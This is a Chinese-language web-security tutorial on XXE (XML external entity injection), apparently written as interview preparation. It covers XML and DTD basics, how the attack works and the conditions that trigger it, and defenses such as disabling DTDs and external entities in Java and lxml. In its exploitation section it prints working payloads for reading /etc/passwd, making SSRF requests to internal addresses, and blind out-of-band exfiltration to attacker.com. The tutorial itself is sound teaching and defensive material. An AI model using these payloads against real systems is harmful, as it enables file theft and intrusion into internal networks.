Web安全之XXE(XML外部实体注入)攻击与防御详解
字数 1053 2025-11-14 02:53:56
Web安全之XXE(XML外部实体注入)攻击与防御详解
一、XXE攻击概述
XXE(XML External Entity Injection)是一种针对XML处理器的安全漏洞,攻击者通过注入恶意外部实体,利用XML解析器的外部实体加载功能,实现读取本地文件、执行远程请求、探测内网服务等恶意操作。XXE常出现在配置不当的XML解析器或支持XML输入的服务中(如API接口、文档转换服务等)。
二、XML基础与外部实体机制
- XML文档结构
XML文档可包含文档类型定义(DTD),用于定义文档结构。例如:<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>Alice</to> <from>Bob</from> <body>Hello</body> </note> - 外部实体定义
在DTD中,可通过<!ENTITY>定义实体。外部实体允许引用外部资源:
在XML中通过<!ENTITY external SYSTEM "file:///etc/passwd">&external;引用实体内容时,解析器会读取/etc/passwd文件内容并替换。
三、XXE攻击原理与利用场景
-
基本攻击流程
- 攻击者构造恶意XML,在DTD中定义外部实体指向敏感资源(如
file:///etc/passwd)。 - XML解析器处理请求时,解析外部实体并返回文件内容。
- 攻击者通过响应或错误信息获取数据。
- 攻击者构造恶意XML,在DTD中定义外部实体指向敏感资源(如
-
常见利用方式
- 文件读取:
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data> - SSRF(服务端请求伪造):
通过http://或ftp://协议使服务器向内部服务发送请求:<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/internal-api"> - 盲注XXE:
当响应不可见时,通过外带数据(OOB)将数据发送到攻击者控制的服务器:
恶意DTD内容示例:<!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd"> %dtd;<!ENTITY % file SYSTEM "file:///secret.txt"> <!ENTITY % exfil SYSTEM "http://attacker.com/?data=%file;">
- 文件读取:
四、XXE漏洞触发条件
- XML解析器允许DTD和外部实体声明(默认配置下常见于旧版库如libxml2、JDK内置解析器)。
- 用户输入被直接拼接至XML文档并解析。
- 解析结果被返回或用于逻辑处理(如XPath查询)。
五、防御策略
- 禁用外部实体
- Java(DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 或仅禁用外部实体: dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Python(lxml):
from lxml import etree parser = etree.XMLParser(resolve_entities=False)
- Java(DocumentBuilderFactory):
- 输入过滤与白名单
- 过滤用户输入的
<!DOCTYPE和<!ENTITY等关键字。 - 使用JSON等更安全的数据格式替代XML。
- 过滤用户输入的
- 依赖库升级
使用默认禁用外部实体的现代XML库(如Python的defusedxml)。
六、面试考点延伸
- 盲注XXE检测:如何通过DNS查询或HTTP日志判断漏洞存在?
- XXE与SOAP API:SOAP协议基于XML,如何检测其接口的XXE风险?
- Office文件中的XXE:DOCX/XLSX格式为ZIP压缩的XML文件,解析时可能触发XXE。
通过理解XXE的机制与防御方法,可有效避免因XML解析不当导致的安全风险。